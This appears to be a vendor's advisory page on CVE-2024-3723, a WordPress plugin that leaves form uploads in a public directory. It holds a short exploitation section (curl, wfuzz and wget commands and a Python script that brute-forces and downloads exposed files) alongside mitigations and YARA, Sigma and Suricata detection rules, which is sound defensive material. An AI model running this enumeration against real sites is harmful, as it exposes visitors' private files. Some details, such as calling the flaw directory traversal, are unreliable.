CVE-2024-3723
Executive Summary
CVE-2024-3723 is a Sensitive Information Exposure vulnerability affecting the Advanced Contact form 7 DB WordPress plugin, versions up to and including 2.0.2. The plugin stores user-uploaded files (e.g., via file upload fields in Contact Form 7) in the publicly accessible directory wp-content/uploads/advanced-cf7-upload/. This directory is not protected by any authentication or access control, allowing any unauthenticated attacker to enumerate and download sensitive files submitted through forms. The vulnerability has a CVSS score of 5.3 (Medium) and a very low EPSS score (0.0%), indicating it is not currently being actively exploited in the wild, but the risk remains significant for sites using this plugin.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
Supply Chain & Package Security
This vulnerability is specific to the WordPress plugin ecosystem. The plugin is distributed via the official WordPress plugin repository and third-party marketplaces. Since no patch has been released, site administrators must manually remove or restrict access to the upload directory. The lack of a vendor response increases supply chain risk for any site relying on this plugin.
CVSS Breakdown & Threat Level
- CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N
- Base Score: 5.3 (Medium)
- Attack Vector: Network (AV:N) – Exploitable remotely.
- Attack Complexity: Low (AC:L) – No special conditions required.
- Privileges Required: None (PR:N) – Unauthenticated.
- User Interaction: None (UI:N) – No user action needed.
- Scope: Unchanged (S:U) – Impact confined to the vulnerable component.
- Confidentiality Impact: Low (C:L) – Limited exposure of uploaded files.
- Integrity Impact: None (I:N) – No data modification.
- Availability Impact: None (A:N) – No service disruption.
Threat Level: Medium. While the CVSS score is moderate, the ease of exploitation (no authentication, simple directory traversal) and the potential for exposure of personally identifiable information (PII) or other sensitive data elevates the real-world risk for affected sites.
Deep Dive & Mechanics
The vulnerability stems from the plugin's file upload handling. When a user submits a form with a file upload field, the plugin stores the file in the wp-content/uploads/advanced-cf7-upload/ directory. The plugin does not implement any access control checks (e.g., .htaccess restrictions, nonce verification, or user capability checks) on this directory. As a result, any file placed there is directly accessible via a predictable URL pattern:
https://example.com/wp-content/uploads/advanced-cf7-upload/<filename>
An attacker can enumerate files by guessing filenames (often based on timestamps or sequential IDs) or by using directory listing if enabled on the server. Even without directory listing, the attacker can use brute-force or common naming patterns to discover files.
The vulnerability is classified under CWE-200: Exposure of Sensitive Information to an Unauthorized Actor. The MITRE ATT&CK tactic is T1552: Unsecured Credentials (if uploaded files contain credentials) or more broadly T1083: File and Directory Discovery.
Vulnerable vs. Patched Code
Vulnerable Code (<= 2.0.2):
The plugin's file upload handler (typically in advanced-cf7-db.php or similar) saves files directly to the advanced-cf7-upload directory without any access control. There is no .htaccess file placed in that directory to deny direct access.
// Simplified vulnerable code
$upload_dir = wp_upload_dir();
$target_dir = $upload_dir['basedir'] . '/advanced-cf7-upload/';
move_uploaded_file($_FILES['file']['tmp_name'], $target_dir . $filename);
Patched Code (Not Available): A proper fix would involve:
- Storing uploaded files outside the web root (e.g., in
wp-content/uploads/advanced-cf7-db/with a.htaccessfile denying all access). - Using WordPress's built-in file access control via
wp_handle_upload()with appropriate filters. - Implementing a download handler script that checks user capabilities before serving files.
Since no official patch exists, the "patched" code is hypothetical.
Exploitation & Lab Setup
Red Team (Exploitation)
Prerequisites:
- A WordPress site with Advanced Contact form 7 DB plugin <= 2.0.2 installed and active.
- A form with a file upload field that has been submitted at least once.
Exploitation Steps:
Identify the vulnerable directory:
curl -s -o /dev/null -w "%{http_code}" "https://target.com/wp-content/uploads/advanced-cf7-upload/"If the response is
200or403(but not404), the directory exists.Enumerate files:
- If directory listing is enabled, simply browse the directory.
- If not, use a wordlist of common filenames (e.g.,
file_001.pdf,upload_2024-01-01.docx). - Alternatively, use a tool like
wfuzz:wfuzz -c -z range,1-1000 --hc 404 "https://target.com/wp-content/uploads/advanced-cf7-upload/file_FUZZ.pdf"
Download discovered files:
wget https://target.com/wp-content/uploads/advanced-cf7-upload/sensitive_document.pdf
Proof of Concept (PoC) Script:
import requests
import sys
def exploit(target_url):
base_url = target_url.rstrip('/') + '/wp-content/uploads/advanced-cf7-upload/'
# Example: try common filenames
for i in range(1, 101):
filename = f"file_{i:03d}.pdf"
url = base_url + filename
response = requests.get(url)
if response.status_code == 200:
print(f"[+] Found: {url}")
# Save file
with open(filename, 'wb') as f:
f.write(response.content)
if __name__ == "__main__":
if len(sys.argv) != 2:
print("Usage: python exploit.py <target_url>")
sys.exit(1)
exploit(sys.argv[1])
Blue Team (Detection & Prevention)
Detection:
- Monitor web server logs for requests to
/wp-content/uploads/advanced-cf7-upload/from IPs that are not the site's own admin IPs. - Look for patterns of sequential file requests (e.g.,
file_001.pdf,file_002.pdf).
Prevention:
- Immediate Mitigation: Add an
.htaccessfile to theadvanced-cf7-uploaddirectory:
Or for Nginx:# File: wp-content/uploads/advanced-cf7-upload/.htaccess Order deny,allow Deny from alllocation /wp-content/uploads/advanced-cf7-upload/ { deny all; return 403; } - Long-term Fix: Disable or remove the plugin until a patched version is released. Alternatively, modify the plugin code to store files outside the web root.
Indicators of Compromise (IOCs)
- File Path:
/wp-content/uploads/advanced-cf7-upload/ - URL Pattern:
https://<target>/wp-content/uploads/advanced-cf7-upload/<filename> - HTTP Request Pattern: GET requests to the above path with sequential or predictable filenames.
- Log Entries: Web server access logs showing multiple
200responses for files in that directory from the same IP. - File Hashes (Example): If a known sensitive file is exposed, its MD5/SHA1 hash.
Detection Engineering
YARA Rule
rule CVE_2024_3723_Advanced_CF7_DB_Exposure {
meta:
description = "Detects attempts to access the vulnerable advanced-cf7-upload directory"
author = "Valters IT"
date = "2024-01-01"
reference = "CVE-2024-3723"
strings:
$dir_pattern = "/wp-content/uploads/advanced-cf7-upload/"
condition:
$dir_pattern
}
Sigma Rule
title: CVE-2024-3723 - Advanced Contact form 7 DB Sensitive Information Exposure
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects HTTP requests to the vulnerable advanced-cf7-upload directory
author: Valters IT
date: 2024/01/01
references:
- https://nvd.nist.gov/vuln/detail/CVE-2024-3723
logsource:
category: webserver
product: apache
service: access_log
detection:
selection:
cs-uri-stem|contains: "/wp-content/uploads/advanced-cf7-upload/"
condition: selection
falsepositives:
- Legitimate admin access (rare)
level: medium
Suricata Rule
alert http any any -> any any (msg:"CVE-2024-3723 - Advanced Contact form 7 DB Directory Traversal"; flow:to_server; content:"/wp-content/uploads/advanced-cf7-upload/"; http_uri; classtype:attempted-recon; sid:1000001; rev:1;)
Remediation & Mitigation
Immediate Actions:
- Restrict directory access: Add
.htaccessor Nginx config to deny all access to/wp-content/uploads/advanced-cf7-upload/. - Remove exposed files: Delete any sensitive files already uploaded via the plugin.
- Disable the plugin: If the plugin is not critical, deactivate and delete it.
Long-term Actions:
- Monitor the plugin's official page for a patched version. If none is released, consider switching to an alternative plugin (e.g., "Contact Form 7 Database" or "Flamingo").
- Implement a Web Application Firewall (WAF) rule to block requests to the vulnerable path.
- Regularly audit WordPress plugins for known vulnerabilities.
Patch Status: No official patch available. The vendor has not responded.
Valters IT
Senior DevSecOps & Cyber Threat Intelligence Analyst
What is this? Security researchers use these exact search queries on Shodan.io (a search engine for internet-connected devices) to find vulnerable systems globally. You can copy these dorks to see if your organization's IP space is exposed.
💣 PoC CODE AVAILABLE
Exploit code for this CVE is tracked in our database.
Access poc_code via API Pro.